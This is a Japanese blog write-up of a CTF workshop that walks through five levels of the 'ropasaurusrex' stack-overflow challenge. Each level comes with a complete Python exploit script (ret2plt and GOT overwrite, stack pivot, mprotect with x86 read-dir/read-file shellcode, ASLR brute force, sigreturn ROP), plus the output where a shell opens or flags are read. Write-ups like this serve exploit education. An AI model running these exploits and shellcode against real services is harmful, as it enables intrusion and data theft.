katagaitaiCTF ropasaurusrex
7/5(日)に、katagaitaiCTFに参加してきた。
特に目的はbataさんのpwnable. 資料もさることながら説明もわかりやすく、Stack overflowについての知見を多く得た会だった。
題材はPlaid CTFの過去問である"ropasaurusrex" で、これを解くhands on と、このバイナリを魔改造した advanced の構成となっていた。独学の曖昧な知識もしっかりと補完できる、とても有意義な内容だった。
このうち、解けたものをWriteupとして書いていこうと思う。
記載時点ではropasaurusrex5 は解けていないが、これも今後解けたら書く。
(その後解けたためこの解法も追記しました)
ropasaurusrex
これはHands onでもやった内容。バイナリを見ると最大256文字をreadし、その後 "WIN\n" と出力するプログラム。
[root@ubuntu] # nc localhost 1025 aaa WIN [root@ubuntu] #
ただし確保しているBufferは128バイトのため、140文字の後からBuffer over flowが発生する。
なお、いずれの問題もNXとASLRは有効である。
[root@ubuntu] # gdb -q ropasaurusrex Reading symbols from ropasaurusrex...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled gdb-peda$ pattc 256 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b' gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b' Starting program: /home/rintaro/Desktop/pwn/bin/ropasaurusrex <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b' Program received signal SIGSEGV, Segmentation fault. (snip) Stopped reason: SIGSEGV 0x41416d41 in ?? () gdb-peda$ patto $eip 1094806849 found at offset: 140 gdb-peda$
NXが有効なため、スタック上ではシェルコードを実行できない。
ret2plt を用いることで攻略できるため、Stack状態を以下の状態にして、/bin/sh を取得する。
GOTの write に相当する箇所をsystem関数に書き換えておき、スタックを調整しておくことで、write関数が呼ばれた際にsystem("/bin/sh")が実行される。
#!/usr/bin/python # -*- coding: utf-8 -*- import sys, socket, struct, telnetlib ###################### useful function definition def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p(a): return struct.pack("<I",a) def u(a): return struct.unpack("<I",a)[0] ###################### main def main(argv): if(len(argv) == 2 and argv[1] == 'r'): print "[+] connect to remote." s, f = sock("XXXXXXXXXX", 1025) else: print "[+] connect to local." s, f = sock("127.0.0.1", 1025) plt_write = 0x804830c got_write = 0x8049614 plt_read = 0x804832c p3ret = 0x80484b6 data = 0x08049620 offset_system = 0x00040190 offset_write = 0x000dac50 buf = "A"*140 # write(STDOUT, got_write, 4) buf += p(plt_write) buf += p(p3ret) buf += p(1) buf += p(got_write) buf += p(4) # read(STDIN, data, 8) buf += p(plt_read) buf += p(p3ret) buf += p(0) buf += p(data) buf += p(8) # read(STDIN, got_write, 4) buf += p(plt_read) buf += p(p3ret) buf += p(0) buf += p(got_write) buf += p(4) # write(data) # system("/bin/sh") buf += p(plt_write) buf += p(0xdeadbeef) buf += p(data) f.write(buf) libc_write = u(f.read(4)) libc_base = libc_write - offset_write libc_system = libc_base + offset_system print "[+] libc_write addr :", format(libc_write,'x') print "[+] libc_base addr :", format(libc_base, 'x') print "[+] libc_system addr:", format(libc_system, 'x') f.write("/bin/sh\0") f.write(p(libc_system)) shell(s) if __name__ == '__main__': main(sys.argv)
これで、flagの読み込みが可能となった。
[root@ubuntu] # python exploit.py r [+] connect to remote. [+] libc_write addr : f76acc50 [+] libc_base addr : f75d2000 [+] libc_system addr: f7612190 ls /home/*/flag* /home/ropasaurusrex/flag cat /home/ropasaurusrex/flag you_cant_stop_the_ropasaurusrex exit *** Connection closed by remote host *** [root@ubuntu] #
ropasaurusrex2
ここから魔改造が始まる。Level2は、入力文字数が160bytesに制限されている。
ROP可能な領域が充分にないため、Stack PivotによりROP領域を.bssに移して実行する。
Old $EBP 領域に、リターン後に .bss が来るよう "移したい箇所 -4" をセットしておき、その後の leave + ret 命令で $ESP を .bss 領域に持っていく。
前半のstack pivot の部分以外は Level1 と同様のやり方で/bin/shを奪取できた。
#!/usr/bin/python # -*- coding: utf-8 -*- import sys, socket, struct, telnetlib ###################### useful function definition def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p(a): return struct.pack("<I",a) def u(a): return struct.unpack("<I",a)[0] ###################### main def main(argv): if(len(argv) == 2 and argv[1] == 'r'): print "[+] connect to remote." s, f = sock("XXXXXXXXXX", 1026) else: print "[+] connect to local." s, f = sock("127.0.0.1", 1025) plt_write = 0x804830c got_write = 0x8049614 plt_read = 0x804832c p3ret = 0x80484b6 data = 0x08049620 offset_system = 0x00040190 offset_write = 0x000dac50 bss = 0x08049628 + 0x270 leave = 0x080482ea buf = "A"*136 buf += p(bss-4) # read(STDIN, bss, 72) for stack pivot buf += p(plt_read) buf += p(leave) buf += p(0) buf += p(bss) buf += p(72) # write(STDOUT, got_write, 4) buf2 = p(plt_write) buf2 += p(p3ret) buf2 += p(1) buf2 += p(got_write) buf2 += p(4) # read(STDIN, data, 8) buf2 += p(plt_read) buf2 += p(p3ret) buf2 += p(0) buf2 += p(data) buf2 += p(8) # read(STDIN, got_write, 4) buf2 += p(plt_read) buf2 += p(p3ret) buf2 += p(0) buf2 += p(got_write) buf2 += p(4) # write(data) # system("/bin/sh") buf2 += p(plt_write) buf2 += p(0xdeadbeef) buf2 += p(data) f.write(buf) f.write(buf2) libc_write = u(f.read(4)) libc_base = libc_write - offset_write libc_system = libc_base + offset_system print "[+] libc_write addr :", format(libc_write,'x') print "[+] libc_base addr :", format(libc_base, 'x') print "[+] libc_system addr:", format(libc_system, 'x') f.write("/bin/sh\0") f.write(p(libc_system)) shell(s) if __name__ == '__main__': main(sys.argv)
最初はbss領域の先頭にESPを持っていっていたため、system関数が呼ばれた後にESPが頭打ちとなり、SIGSEGVで動かなかったため、.bssの先頭から少し先のアドレスを設定する。
注意点が身になる。
ちなみにここからFlag名が簡単には推測できないようになっている。
[root@ubuntu] # python exploit2.py r [+] connect to remote. [+] libc_write addr : f767fc50 [+] libc_base addr : f75a5000 [+] libc_system addr: f75e5190 ls /home/*/flag* /home/ropasaurusrex2/flag_23296711352720061 cat /home/ropasaurusrex2/flag_23296711352720061 flag{you_cant_stop_the_ropasaurusrex2_but_stack_pivot_help_you!} exit *** Connection closed by remote host *** [root@ubuntu] #
ropasaurusrex3
Level3 では、chrootにより /bin 配下を見れなくなっている。そのため /bin/sh を開くことができない。
以下2通りを考えたが、後者のやり方を実装することにした(mprotectは以前やったことあるのとggったらシェルコードが見つかったため)。
- C言語の関数である opendirとreaddir などを利用してファイルを取得し、その後open, read, write でFlagを読み出す
- mprotect で.bss領域のRWX権限を書き換え、その領域でコードインジェクションを実行する
ディレクトリ読み出しとファイル読み出しのシェルコードは最初頑張って書いていたが、途中でなんとなくggったらすぐ見つかったので少し後悔した。
(参考)
read-dirのシェルコード
read-fileのシェルコード
追記:あとで伺ったところ、このread-dirのシェルコードもbataさんが書いたものだったらしい。神を見た…
#!/usr/bin/python # -*- coding: utf-8 -*- import sys, socket, struct, telnetlib ###################### useful function definition def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p(a): return struct.pack("<I",a) def u(a): return struct.unpack("<I",a)[0] ###################### main def main(argv): # linux/x86/read-dir(STDOUT) readdir = "\xEB\x38\x5B\x31\xC9\x31\xD2\x6A\x05\x58\xCD\x80\x93\x91\xB2\x7F\xB0\x59\x60\xCD\x80\x85\xC0\x74\x26\xB3\x01\x66\x0F\xB6\x51\x08\x8D\x4C\x19\x09\xB0\x04\xCD\x80\xB2\x01\x8D\x4A\x09\x51\x89\xE5\x55\x59\xB0\x04\xCD\x80\x58\x61\xEB\xD8\xE8\xC3\xFF\xFF\xFF"+"/\x00" # linux/x86/read-file(STDOUT) readfile = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff"+"flag_1170037582419425558" mode = raw_input('input "dir" or "file"\n') if(mode == 'dir'): shellcode = readdir elif(mode == 'file'): shellcode = readfile else: print 'exit.\n' quit() if(len(argv) == 2 and argv[1] == 'r'): print "[+] connect to remote." s, f = sock("XXXXXXXXXX", 1027) else: print "[+] connect to local." s, f = sock("127.0.0.1", 1025) plt_write = 0x804830c got_write = 0x8049614 plt_read = 0x804832c p3ret = 0x80484b6 offset_mprotect = 0x000e70d0 offset_write = 0x000dac50 bss = 0x08049628 + 0x270 mprotect_to = 0x08049000 leave = 0x080482ea buf = "A"*136 buf += p(bss-4) # read(STDIN, bss, 80) for stack pivot buf += p(plt_read) buf += p(leave) buf += p(0) buf += p(bss) buf += p(80) # write(STDOUT, got_write, 4) buf2 = p(plt_write) buf2 += p(p3ret) buf2 += p(1) buf2 += p(got_write) buf2 += p(4) # read(STDIN, bss+80, len(shellcode)) buf2 += p(plt_read) buf2 += p(p3ret) buf2 += p(0) buf2 += p(bss+80) buf2 += p(len(shellcode)) # read(STDIN, got_write, 4) # read mprotect to got_write buf2 += p(plt_read) buf2 += p(p3ret) buf2 += p(0) buf2 += p(got_write) buf2 += p(4) # write(bss+80) # mprotect(.bss, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC) buf2 += p(plt_write) buf2 += p(bss+80) buf2 += p(mprotect_to) buf2 += p(0x1000) buf2 += p(7) f.write(buf) f.write(buf2) libc_write = u(f.read(4)) libc_base = libc_write - offset_write libc_mprotect = libc_base + offset_mprotect print "[+] libc_write addr :", format(libc_write,'x') print "[+] libc_base addr :", format(libc_base, 'x') print "[+] libc_mprotect addr:", format(libc_mprotect, 'x') f.write(shellcode) f.write(p(libc_mprotect)) shell(s) if __name__ == '__main__': main(sys.argv)
mprotect を実行する際のアドレスは、最初は末尾3ビットが"000"以外のところからやろうとしたら失敗していたため試行錯誤した。
0x1000単位で実行してみるとうまく書き換わったため、ひとつ新しい発見になった。
[root@ubuntu] # python exploit3.py r input "dir" or "file" dir [+] connect to remote. [+] libc_write addr : f764ac50 [+] libc_base addr : f7570000 [+] libc_mprotect addr: f76570d0 .. . ropasaurusrex3 flag_1170037582419425558 lib timeout E: Child terminated by signal ‘Segmentation fault’ *** Connection closed by remote host *** [root@ubuntu] # [root@ubuntu] # [root@ubuntu] # python exploit3.py r input "dir" or "file" file [+] connect to remote. [+] libc_write addr : f7636c50 [+] libc_base addr : f755c000 [+] libc_mprotect addr: f76430d0 flag{omg!the_ropasaurusrex3_with_chroot_has_solved!?congrats!!} *** Connection closed by remote host *** [root@ubuntu] #
ropasaurusrex4
Level4は、Level3に加え、さらに call write() と write@plt が潰されており、libcの情報をリークできない。また、今回のバイナリはxinetd型で動いているため、ASLRの影響で接続する度にアドレス配置が変わる。
x86のASLRは以前にもBrute Forceで突破して解いたことがあったため、これはピンときた。
これまでに解いた ropasaurusrex について、以下のようなスクリプトを実行し libc のベースアドレスをいくつか見てみる。
#!/usr/bin/python # -*- coding: utf-8 -*- import sys, socket, struct ###################### useful function definition def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def p(a): return struct.pack("<I",a) def u(a): return struct.unpack("<I",a)[0] ###################### main def main(argv): if(len(argv) == 2 and argv[1] == 'r'): print "[+] connect to remote." s, f = sock("XXXXXXXXXX", 1028) else: print "[+] connect to local." s, f = sock("127.0.0.1", 1025) plt_write = 0x804830c got_write = 0x8049614 offset_write = 0x000dac50 buf = "A"*140 # write(STDOUT, got_write, 4) buf += p(plt_write) buf += "AAAA" buf += p(1) buf += p(got_write) buf += p(4) f.write(buf) libc_write = u(f.read(4)) print "[+] libc_base addr :", format(libc_write - offset_write, 'x') if __name__ == '__main__': main(sys.argv)
結果(抜粋)
[+] libc_base addr : f7592000 [+] libc_base addr : f75e8000 [+] libc_base addr : f7566000 [+] libc_base addr : f75db000 [+] libc_base addr : f755d000 [+] libc_base addr : f75e4000 [+] libc_base addr : f7613000 [+] libc_base addr : f75bf000 [+] libc_base addr : f7543000 [+] libc_base addr : f75dd000
x86では、ランダマイズされるアドレス空間が狭い。
例えば、上記結果を見ると左から2bitは固定、3bit目も"5" か "6" のみである。また、末尾3bitも"000"で固定のため、今回はBruteForceでの突破のアプローチで攻める。
BruteForce実施時の libc_base は、上記のうち最小と最大のものの中間値(0xf75ab000)に固定し、読み出せるまでスクリプトを回した。
なお、GOT のアドレスは書き換える手間がないので、.bssに詰むものはシンプルになる。
#!/usr/bin/python # -*- coding: utf-8 -*- import sys, socket, struct, telnetlib ###################### useful function definition def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p(a): return struct.pack("<I",a) def u(a): return struct.unpack("<I",a)[0] ###################### main def main(argv): # linux/x86/read-dir(STDOUT) readdir = "\xEB\x38\x5B\x31\xC9\x31\xD2\x6A\x05\x58\xCD\x80\x93\x91\xB2\x7F\xB0\x59\x60\xCD\x80\x85\xC0\x74\x26\xB3\x01\x66\x0F\xB6\x51\x08\x8D\x4C\x19\x09\xB0\x04\xCD\x80\xB2\x01\x8D\x4A\x09\x51\x89\xE5\x55\x59\xB0\x04\xCD\x80\x58\x61\xEB\xD8\xE8\xC3\xFF\xFF\xFF"+"/\x00" # linux/x86/read-file(STDOUT) readfile = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff"+"flag_326175712236627770" mode = raw_input('input "dir" or "file"\n') if(mode == 'dir'): shellcode = readdir elif(mode == 'file'): shellcode = readfile else: print 'exit.\n' quit() plt_libc_start_main = 0x0804831C got_libc_start_main = 0x08049618 plt_read = 0x804832c p3ret = 0x80484b6 offset_mprotect = 0x000e70d0 bss = 0x08049628 + 0x270 mprotect_to = 0x08049000 leave = 0x080482ea # guess libc_base = 0xf75ab000 libc_mprotect = libc_base + offset_mprotect i = 1 while True: if(len(argv) == 2 and argv[1] == 'r'): print "[+] connect to remote." s, f = sock("XXXXXXXXXX", 1028) else: print "[+] connect to local." s, f = sock("127.0.0.1", 1025) print "[+] %d..." % i buf = "A"*136 buf += p(bss-4) # read(STDIN, bss, 40) for stack pivot buf += p(plt_read) buf += p(leave) buf += p(0) buf += p(bss) buf += p(40) # read(STDIN, bss+40, len(shellcode)) buf2 = p(plt_read) buf2 += p(p3ret) buf2 += p(0) buf2 += p(bss+40) buf2 += p(len(shellcode)) # mprotect(.bss, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC) buf2 += p(libc_mprotect) buf2 += p(bss+40) buf2 += p(mprotect_to) buf2 += p(0x1000) buf2 += p(7) f.write(buf) f.write(buf2) f.write(shellcode) shell(s) i += 1 if __name__ == '__main__': main(sys.argv)
これでLevel4についてもflagが取得できた。
[root@ubuntu] # python exploit4.py r input "dir" or "file" dir [+] connect to remote. [+] 1... E: Child terminated by signal ‘Segmentation fault’ *** Connection closed by remote host *** (snip) [+] connect to remote. [+] 260... .. ropasaurusrex4 . flag_326175712236627770 lib timeout E: Child terminated by signal ‘Segmentation fault’ *** Connection closed by remote host *** [+] connect to remote. [+] 261... ^CTraceback (most recent call last): File "exploit4-2.py", line 92, in <module> main(sys.argv) File "exploit4-2.py", line 88, in main shell(s) File "exploit4-2.py", line 14, in shell t.interact() File "/usr/lib/python2.7/telnetlib.py", line 590, in interact rfd, wfd, xfd = select.select([self, sys.stdin], [], []) [root@ubuntu] [root@ubuntu] [root@ubuntu] # python exploit4.py r input "dir" or "file" file [+] connect to remote. [+] 1... E: Child terminated by signal ‘Segmentation fault’ *** Connection closed by remote host *** (snip) [+] connect to remote. [+] 107... flag{32bit_library_aslr_is_very_weak_so_you_can_defeat_the_ropasaurusrex4!} *** Connection closed by remote host *** [+] connect to remote. [+] 108... ^CTraceback (most recent call last): File "exploit4-2.py", line 92, in <module> main(sys.argv) File "exploit4-2.py", line 88, in main shell(s) File "exploit4-2.py", line 14, in shell t.interact() File "/usr/lib/python2.7/telnetlib.py", line 590, in interact rfd, wfd, xfd = select.select([self, sys.stdin], [], []) KeyboardInterrupt [root@ubuntu]
ropasaurusrex5
Level5.bataさん曰く、「libcは甘え」らしい(「libcは甘え」らしいorz)
libcを使わずにExploitをしなければならない。
今のところまだ解法が思いついていないので、今日の夜までに頑張ってみようと思う。
サーバが落ちた後でも、ローカルでできたら追記する予定。
追記:
Level5も解けたため追記。
Level5は、offset 128 bytes から Return address を書き換え可能。
最初は.text領域のROP芸のみでmprotectのシステムコールを呼び出しシェルコードを実行しようとしていたが、ROPガジェットが足りない。
ここでやり方を見直し(時間かかった…)、sigreturn を呼び出すことで全レジスタの値をStackから復元できることに気付く。
sigreturnが呼び出された際には、Stack上の値を複数のレジスタに復元することができる。
このときの構造は、sigcontext構造体の定義のとおりとなる。
なお、システムコール番号はこちらを参照した。
よって、sigreturnを呼び、そのあとは Level3,4 と同じくmprotectを発生させてコードインジェクションというアプローチにする。
Level3のときのmprotect呼び出し直前のレジスタの状態を見てみると以下のとおり。基本はこれに従ってsigcontextの中身を構築する
gdb-peda$ i reg eax 0x7d # システムコール番号 ecx 0x1000 # サイズ edx 0x7 # RWX ebx 0x8049000 # 開始したい場所 esp 0x80498c4 ebp 0x80498c4 esi 0x0 edi 0x8049614 eip 0xf7fdb425 eflags 0x207 cs 0x23 ss 0x2b ds 0x2b es 0x2b fs 0x0 gs 0x63
しかし最初のsigreturn呼び出し時のeax(システムコール番号)のセット方法がよくわからない。
ここで他の人の解法を参照してみると、Write関数で119文字書き込めると戻り値で119がセットされることがわかる。頭いい…
これを利用し、
write → sigreturn → mprotect → read(shellcode流し込み)→ shellcode の順番に呼び出すことにする。
Level5は、256文字入力可能なため、mprotect発動までに利用できる領域は128bytes分である。
また、sigreturn時にespも書き換わるため、このときにRWX可能な箇所にStack Pivotする。
mprotect後のリターンアドレスは、vuln関数へのポインタとなっているアドレスを指定し、ret2vulnにて再度read関数を実行させる。
このreadで、RWX可能且つ使われていない領域にシェルコードを流し込み、実行する。
#!/usr/bin/python # -*- coding: utf-8 -*- import sys, socket, struct, telnetlib, time ###################### useful function definition def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) f = s.makefile('rw', bufsize=0) return s, f def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p(a): return struct.pack("<I", a) def u(a): return struct.unpack("<I",a)[0] ###################### main def main(argv): readdir = "\xEB\x38\x5B\x31\xC9\x31\xD2\x6A\x05\x58\xCD\x80\x93\x91\xB2\x7F\xB0\x59\x60\xCD\x80\x85\xC0\x74\x26\xB3\x01\x66\x0F\xB6\x51\x08\x8D\x4C\x19\x09\xB0\x04\xCD\x80\xB2\x01\x8D\x4A\x09\x51\x89\xE5\x55\x59\xB0\x04\xCD\x80\x58\x61\xEB\xD8\xE8\xC3\xFF\xFF\xFF"+"/\x00" readfile = '\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff'+'/flag' mode = raw_input('input "dir" or "file"\n') if(mode == 'dir'): shellcode = readdir elif(mode == 'file'): shellcode = readfile else: print 'exit.\n' quit() if(len(argv) == 2 and argv[1] == 'r'): print "[+] connect to remote." s, f = sock("XXXXXXXXXX", 1029) else: print "[+] connect to local." s, f = sock("127.0.0.1", 1025) write_addr = 0x80480d2 read_addr = 0x80480b8 text_base = 0x8048000 int80ret = 0x80480cf func_vuln = 0x8048468 shellcode_addr = 0x8048600 buf = 'A' * 128 # mov eax, 119; int 0x80; ret; buf += p(write_addr) buf += p(int80ret) buf += p(1) # STDOUT, also gs buf += p(text_base) # write addr, also fs buf += p(119) # sigreturn syscall num, also es # struct sigframe buf += p(0x2b) # ds from i reg buf += p(0) # edi not used buf += p(0) # esi from i reg buf += p(0) # ebp Null buf += p(func_vuln) # esp Stack Pivot addr(return addr) buf += p(text_base) # ebx mprotect to buf += p(7) # edx PROT_READ|PROT_WRITE|PROT_EXEC buf += p(0x1000) # ecx size(0x1000) buf += p(0x7d) # eax system call num(0x7d) buf += p(0) # trapno Null buf += p(0) # err Null buf += p(int80ret) # eip int 0x80; ret; buf += p(0x23) # cs/__csh from i reg buf += p(0x207) # eflags from i reg buf += p(0) # esp_at_signal Null buf += p(0x2b) # ss/__ssh from i reg buf += p(0) # &fpstate Null buf += p(0) # oldmask Null buf += p(0) # cr2 Null # read(STDIN, tmp addr, len(shellcode)) buf2 = 'A' * 128 buf2 += p(read_addr) buf2 += p(shellcode_addr) buf2 += p(0) buf2 += p(shellcode_addr) buf2 += p(len(shellcode)) f.write(buf) time.sleep(0.5) f.write(buf2) f.write(shellcode) shell(s) if __name__ == '__main__': main(sys.argv)
途中どうしてもうまくいかず悩んでいたが、bufとbuf2を送り込む前にsleepを入れると想定通りの挙動となった。
今回の攻略は、リモートサーバが停止していたためローカルにて実施。chrootは実施していないためローカルの / 配下が表示されていることがわかる。
[root@ubuntu] # python exploit5.py input "dir" or "file" dir [+] connect to local. WIN ELFF�4l4 ( ���������$$Q�tWIN libx32 opt tmp srv home .. . var usr sbin cdrom lib32 media run vmlinuz proc lib mnt bin sys dev boot initrd.img etc root lost+found lib64 *** Connection closed by remote host *** [root@ubuntu] #
sigreturn強い…。x64でもこれは使えそうだ。
それにしても独学でやってきたBOFについて、ここまで丁寧に説明してもらえたことは今までのCTF活動の中で一番と言ってよいほど有意義だったと思う。
このごろ燻ぶっていたけれど、久しぶりにやる気に火がついた気がした。
まだ学ぶことも多いし、周りのスピードも信じられないぐらい早い。
そんな中でも、こんなに良いきっかけを与えたくれたkatagaitaiや運営の方々には大変感謝したい。
今年中には、もっと高いところから取り組めるよう、また外に向かって良い貢献ができるよう、精進していこうと強く思う。